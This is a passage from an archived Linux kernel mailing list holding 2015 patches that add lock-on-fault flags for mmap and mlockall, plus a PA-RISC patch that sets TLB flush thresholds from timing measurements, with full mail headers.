--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -29,6 +29,7 @@
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
 
 
 /*
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..42d43cc 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 0755b9f..3e31457 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -126,6 +126,7 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
+#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
 #define VM_LOCKED	0x00002000
 #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
 
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..437264b 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..fc4e586 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/mm/mmap.c b/mm/mmap.c
index bb50cac..ba1a6bf 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1233,7 +1233,7 @@ static inline int mlock_future_check(struct mm_struct *mm,
 	unsigned long locked, lock_limit;
 
 	/*  mlock MCL_FUTURE? */
-	if (flags & VM_LOCKED) {
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		locked = len >> PAGE_SHIFT;
 		locked += mm->locked_vm;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
@@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
diff --git a/mm/swap.c b/mm/swap.c
index a7251a8..07c905e 100644
--- a/mm/swap.c
+++ b/mm/swap.c
@@ -711,7 +711,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
 {
 	VM_BUG_ON_PAGE(PageLRU(page), page);
 
-	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
+	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
+		   (vma->vm_flags & VM_SPECIAL)) {
 		SetPageActive(page);
 		lru_cache_add(page);
 		return;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [RESEND PATCH 2/3] Add mlockall flag for locking pages on fault
Date: Fri, 29 May 2015 10:13:27 -0400
Lines: 174
Approved: news@gmane.org
Message-ID: <1432908808-31150-3-git-send-email-emunson@akamai.com>
References: <1432908808-31150-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1432908843 30365 80.91.229.3 (29 May 2015 14:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 14:14:03 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Fri May 29 16:13:53 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YyL2m-0007IL-J6
	for glkm-linux-mm-2@m.gmane.org; Fri, 29 May 2015 16:13:52 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 2863F6B006E; Fri, 29 May 2015 10:13:49 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 2081F6B0070; Fri, 29 May 2015 10:13:49 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 11F6F6B0071; Fri, 29 May 2015 10:13:49 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f41.google.com (mail-pa0-f41.google.com [209.85.220.41])
	by kanga.kvack.org (Postfix) with ESMTP id C500B6B006E
	for <linux-mm@kvack.org>; Fri, 29 May 2015 10:13:48 -0400 (EDT)
Original-Received: by pabru16 with SMTP id ru16so61197989pab.1
        for <linux-mm@kvack.org>; Fri, 29 May 2015 07:13:48 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=IMTQ5bnN7DgpCgNAqtLZy3pEOAcebQj2WzpR8NPtImE=;
        b=Fa38BBebR+QWQzjUyPC18vfp3Fq5oW/0HF7X7o+4As6WEEL5kWwppfqwIHrwKjuSzO
         sWl1fsi0PBNrK4EtkYPAHZMtd+9d/T/I48h1tALFCP++M9OQFKTeTniaj5lUDS/CDXZR
         jS2PRC6HrldYU7GbIBPJPvLYF46F2jsGw2evFVk02p7tTPUEIuwxuAAKWFiJEA+HC755
         38W42Ih8q1UY/qUQrbo4KYeHbM4G+k8lkoXi75gswmPNPR1r35CCecVhCaXrsA8gPKiQ
         SgKnvD4fp9HnHHDcxrjwwnWltVe34vz71moGJ2HAO2uiiZVUDh6OkP48xTbEE7xmo+av
         C9+A==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQmdyuJpBYBXCPMTOC98xCTC3OAsuwy+VicWJ+xfXGLlWO5N/wFmDf7sKe827bKmSaqiNLb3L93GFKXfpD5Pe+Nlx5hAzn7MdOMqmG8GxTb+j05qOgou9DTTxhLgMkYzjOKYs1b9tDSxeUnp8ulMvo/LnCGO9BXtzrFmcGV8CR9snlXaOkpmkhIJJcm1LTlUZnQBB5RA
X-Received: by 10.68.131.65 with SMTP id ok1mr15606097pbb.16.1432908828420;
        Fri, 29 May 2015 07:13:48 -0700 (PDT)
X-Received: by 10.68.131.65 with SMTP id ok1mr15606008pbb.16.1432908827798;
        Fri, 29 May 2015 07:13:47 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id o3si8664305pap.10.2015.05.29.07.13.47
        for <linux-mm@kvack.org>;
        Fri, 29 May 2015 07:13:47 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 1A5C348491;
	Fri, 29 May 2015 14:13:47 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 09FD948441;
	Fri, 29 May 2015 14:13:47 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.54])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 0451980085;
	Fri, 29 May 2015 14:13:47 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1432908808-31150-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:133436 gmane.linux.ports.alpha:3105 gmane.linux.kernel:1965381 gmane.linux.ports.mips.general:48877 gmane.linux.ports.parisc:25746 gmane.linux.ports.ppc64.devel:113633 gmane.linux.ports.sparc:21077 gmane.linux.kernel.cross-arch:27878 gmane.linux.kernel.api:11617
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/133436>

Building on the previous patch, extend mlockall() to give a process a
way to specify that pages should be locked when they are faulted in, but
that pre-faulting is not needed.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h   |  1 +
 arch/mips/include/uapi/asm/mman.h    |  1 +
 arch/parisc/include/uapi/asm/mman.h  |  1 +
 arch/powerpc/include/uapi/asm/mman.h |  1 +
 arch/sparc/include/uapi/asm/mman.h   |  1 +
 arch/tile/include/uapi/asm/mman.h    |  1 +
 arch/xtensa/include/uapi/asm/mman.h  |  1 +
 include/uapi/asm-generic/mman.h      |  1 +
 mm/mlock.c                           | 13 +++++++++----
 9 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 15e96e1..3120dfb 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,7 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ON_FAULT	32768		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 47846a5..82aec3c 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 1514cd7..f4601f3 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,7 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index fce74fe..0a28efc 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ON_FAULT	0x80000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 12425d8..119be80 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ON_FAULT	0x80000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index ec04eaf..66ea935 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,6 +37,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 42d43cc..9abcc29 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index fc4e586..6ac7a7b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,5 +18,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ON_FAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 6fd2cf1..1406835 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -579,7 +579,7 @@ static int do_mlock(unsigned long start, size_t len, int on)
 
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (on)
 			newflags |= VM_LOCKED;
 
@@ -662,13 +662,17 @@ static int do_mlockall(int flags)
 		current->mm->def_flags |= VM_LOCKED;
 	else
 		current->mm->def_flags &= ~VM_LOCKED;
-	if (flags == MCL_FUTURE)
+	if (flags & MCL_ON_FAULT)
+		current->mm->def_flags |= VM_LOCKONFAULT;
+	else
+		current->mm->def_flags &= ~VM_LOCKONFAULT;
+	if (flags == MCL_FUTURE || flags == MCL_ON_FAULT)
 		goto out;
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (flags & MCL_CURRENT)
 			newflags |= VM_LOCKED;
 
@@ -685,7 +689,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ON_FAULT)) ||
+	    ((flags & MCL_FUTURE) && (flags & MCL_ON_FAULT)))
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH][RFC] parisc: Optimize TLB flush functions based on timing
 results
Date: Fri, 29 May 2015 22:13:17 +0200
Lines: 221
Approved: news@gmane.org
Message-ID: <20150529201317.GA4795@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1432930417 19543 80.91.229.3 (29 May 2015 20:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 20:13:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 29 22:13:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YyQel-0006Kt-Ic
	for glpp-linux-parisc@plane.gmane.org; Fri, 29 May 2015 22:13:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756417AbbE2UN0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 May 2015 16:13:26 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:65340 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756391AbbE2UNZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 May 2015 16:13:25 -0400
Original-Received: from ls3530.box ([92.203.102.216]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LyVIk-1ZD87S0GmM-015o88; Fri, 29 May 2015 22:13:20
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:06xMrx3r9veKKQDSr6Vl0a7B0PqKgyHD0yUHMhrYqmbRzGQX7TK
 iXNufcfyYm5N8DnojmoHD4N9rijIQcUIkif4gQpgI87EOpF5A+a7pHFU0guXCKWZwTmQRi4
 K6mCNnQJ8REc6GZLJqnpTgk8td9MfDjI1SnwTygRJxuoZdZbeD+5rn/aB6+zX9OJ0tKa5T2
 JipcO8YJVouIZtU96GW/Q==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25747
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25747>

This patch optimizes the TLB flushing functions flush_tlb_mm() and
__flush_tlb_range() in a way that it adds timing routines to calculate
the optimal size up to which flushes of small TLB ranges perform faster
than when performing a full TLB shootdown.

Here are some timing results for a rp5470 and J5000 machine:

Machine: rp5470, PA8700, 875 MHz
I-cache         : 768 KB
D-cache         : 1536 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB

Whole cache flush 692084 cycles, flushing 13214592 bytes 5904392 cycles
Setting cache flush threshold to 1512 kB.
Whole TLB flush 40990 cycles, flushing 4096000 bytes 448989 cycles
Setting TLB flush threshold to 368 kB.

Machine: J5000/785, PA8500, 440MHz
I-cache         : 512 KB
D-cache         : 1024 KB (WB, direct mapped)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB

Whole cache flush 268605 cycles, flushing 13214592 bytes 1861037 cycles
Setting cache flush threshold to 1024 kB
Whole TLB flush 14131 cycles, flushing 13221888 bytes 769329 cycles
Setting TLB flush threshold to 240 kB

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 9d086a5..5e81e17 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -24,40 +24,25 @@ extern void flush_tlb_all_local(void *);
 
 #define smp_flush_tlb_all()	flush_tlb_all()
 
-/*
- * flush_tlb_mm()
- *
- * XXX This code is NOT valid for HP-UX compatibility processes,
- * (although it will probably work 99% of the time). HP-UX
- * processes are free to play with the space id's and save them
- * over long periods of time, etc. so we have to preserve the
- * space and just flush the entire tlb. We need to check the
- * personality in order to do that, but the personality is not
- * currently being set correctly.
- *
- * Of course, Linux processes could do the same thing, but
- * we don't support that (and the compilers, dynamic linker,
- * etc. do not do that).
- */
+int __flush_tlb_range(unsigned long sid,
+	unsigned long start, unsigned long end);
+
+#define flush_tlb_range(vma, start, end) \
+	__flush_tlb_range((vma)->vm_mm->context, start, end)
+
+#define flush_tlb_kernel_range(start, end) \
+	__flush_tlb_range(0, start, end)
 
 static inline void flush_tlb_mm(struct mm_struct *mm)
 {
-	BUG_ON(mm == &init_mm); /* Should never happen */
-
-#if 1 || defined(CONFIG_SMP)
-	flush_tlb_all();
-#else
-	/* FIXME: currently broken, causing space id and protection ids
-	 *  to go out of sync, resulting in faults on userspace accesses.
-	 */
-	if (mm) {
-		if (mm->context != 0)
-			free_sid(mm->context);
-		mm->context = alloc_sid();
-		if (mm == current->active_mm)
-			load_context(mm->context);
+	struct vm_area_struct *vma;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next) {
+		/* exit loop if flush_tlb_all() was called. */
+		if (unlikely(__flush_tlb_range(mm->context,
+				vma->vm_start, vma->vm_end)))
+			return;
 	}
-#endif
 }
 
 static inline void flush_tlb_page(struct vm_area_struct *vma,
@@ -76,11 +61,4 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
 	purge_tlb_end(flags);
 }
 
-void __flush_tlb_range(unsigned long sid,
-	unsigned long start, unsigned long end);
-
-#define flush_tlb_range(vma,start,end) __flush_tlb_range((vma)->vm_mm->context,start,end)
-
-#define flush_tlb_kernel_range(start, end) __flush_tlb_range(0,start,end)
-
 #endif
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index f6448c7..4eac923 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -342,12 +342,15 @@ EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
-int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
+static unsigned long parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
+
+#define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB threshold */
+static unsigned long parisc_tlb_flush_threshold __read_mostly = FLUSH_TLB_THRESHOLD;
 
 void __init parisc_setup_cache_timing(void)
 {
 	unsigned long rangetime, alltime;
-	unsigned long size;
+	unsigned long size, start;
 
 	alltime = mfctl(16);
 	flush_data_cache();
@@ -364,14 +367,42 @@ void __init parisc_setup_cache_timing(void)
 	/* Racy, but if we see an intermediate value, it's ok too... */
 	parisc_cache_flush_threshold = size * alltime / rangetime;
 
-	parisc_cache_flush_threshold = (parisc_cache_flush_threshold + L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1); 
+	parisc_cache_flush_threshold = L1_CACHE_ALIGN(parisc_cache_flush_threshold);
 	if (!parisc_cache_flush_threshold)
 		parisc_cache_flush_threshold = FLUSH_THRESHOLD;
 
 	if (parisc_cache_flush_threshold > cache_info.dc_size)
 		parisc_cache_flush_threshold = cache_info.dc_size;
 
-	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
+	printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
+		parisc_cache_flush_threshold/1024);
+
+	/* calculate TLB flush threshold */
+
+	alltime = mfctl(16);
+	flush_tlb_all();
+	alltime = mfctl(16) - alltime;
+
+	size = PAGE_SIZE;
+	start = (unsigned long) _text;
+	rangetime = mfctl(16);
+	while (start < (unsigned long) _end) {
+		flush_tlb_kernel_range(start, start + PAGE_SIZE);
+		start += PAGE_SIZE;
+		size += PAGE_SIZE;
+	}
+	rangetime = mfctl(16) - rangetime;
+
+	printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu bytes %lu cycles\n",
+		alltime, size, rangetime);
+
+	parisc_tlb_flush_threshold = size * alltime / rangetime;
+	parisc_tlb_flush_threshold = PAGE_ALIGN(parisc_tlb_flush_threshold);
+	if (!parisc_tlb_flush_threshold)
+		parisc_tlb_flush_threshold = FLUSH_TLB_THRESHOLD;
+
+	printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
+		parisc_tlb_flush_threshold/1024);
 }
 
 extern void purge_kernel_dcache_page_asm(unsigned long);
@@ -418,32 +449,39 @@ void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 }
 EXPORT_SYMBOL(purge_tlb_entries);
 
-void __flush_tlb_range(unsigned long sid, unsigned long start,
+/* __flush_tlb_range()
+ *
+ * returns 1 if all TLBs were flushed.
+ */
+int __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
-	unsigned long npages;
+	unsigned long size;
 
-	npages = ((end - (start & PAGE_MASK)) + (PAGE_SIZE - 1)) >> PAGE_SHIFT;
-	if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
+	size = (end - start);
+	if (size >= parisc_tlb_flush_threshold) {
 		flush_tlb_all();
+		return 1;
+	}
 	else {
 		unsigned long flags;
 
 		purge_tlb_start(flags);
 		mtsp(sid, 1);
 		if (split_tlb) {
- 	 		while (npages--) {
+			while (start < end) {
 				pdtlb(start);
 				pitlb(start);
 				start += PAGE_SIZE;
 			}
 		} else {
-			while (npages--) {
+			while (start < end) {
 				pdtlb(start);
 				start += PAGE_SIZE;
 			}
 		}
 		purge_tlb_end(flags);
+		return 0;
 	}
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][RFC] parisc: Optimize TLB flush functions based on timing
 results
Date: Fri, 29 May 2015 22:34:54 +0200
Lines: 238
Approved: news@gmane.org
Message-ID: <5568CD6E.20204@gmx.de>
References: <20150529201317.GA4795@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
